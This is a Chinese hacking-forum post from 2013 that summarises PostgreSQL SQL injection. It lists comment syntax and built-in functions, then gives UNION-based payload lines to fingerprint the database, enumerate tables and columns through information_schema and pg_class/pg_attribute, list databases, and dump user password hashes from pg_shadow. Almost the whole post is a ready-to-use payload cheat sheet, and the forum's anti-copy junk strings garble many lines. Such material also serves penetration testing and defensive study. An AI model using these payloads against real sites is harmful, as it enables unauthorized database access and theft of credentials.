找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2177|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
9 f+ ?2 K0 q# i# a, |& H

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
1 t; {+ R$ G4 ]6 z8 d2 B, Q$ U连接符: %20 , + , /**/

内置函数:
/ t+ R/ S1 g8 ]7 ccurrent_database() //当前数据库名' _* \; g! P" ]- N- M
session_user //会话用户
  n  x% l/ K% \8 R- r5 ecurrent_user //当前数据库用户9 I! v0 D1 u# _& j9 M+ D+ F
user //当前用户3 F: S/ z1 f. `! v* T* K
version() //数据库版本

Union注射:
9 |2 v  x6 ?( q0 {order by n–* |; ~0 s# p& q- \
and 1=2 union select null,null,null–6 S1 _4 `: x* l3 O
and 1=2 union select ‘beach’,null,null–
; {0 P7 O9 J) ]and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):9 Y# K. s* v0 I  p. b' c
group_concat(table_name)
4 [. U  O" B0 N( t' [# o+ eand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
2 \; W! q3 N# {and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–9 }3 t5 p, O6 R* V5 f6 i% I% x  E4 ^
(老版本)8 R: k$ ~6 b" Z7 s8 I( T
pg_class.oid对应pg_attribute.attrelid
9 W0 o5 n; K, U1 g+ T, v; j: tpg_class.relname表名9 e# Y0 g& z& r% e" Q
pg_attribute.attname字段名

select relname from pg_class获取表名
& b/ r5 u" y; e! q# Kselect oid from pg_class where 条件 获取参数
' S  x7 D1 _; ~. D. Iselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
( K. e8 ~2 \8 Uand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表) V) l3 L; h# g% q3 s
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–% }6 K* q+ P+ B4 ]# C9 Z' R
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
( {  D( F- V! q$ h! [======================================================================, [4 ^6 u# n& ?! Z% D# h. R! ^7 q
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库1 M! ]* G, C  a# Q; ~3 ^" i: a' c
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表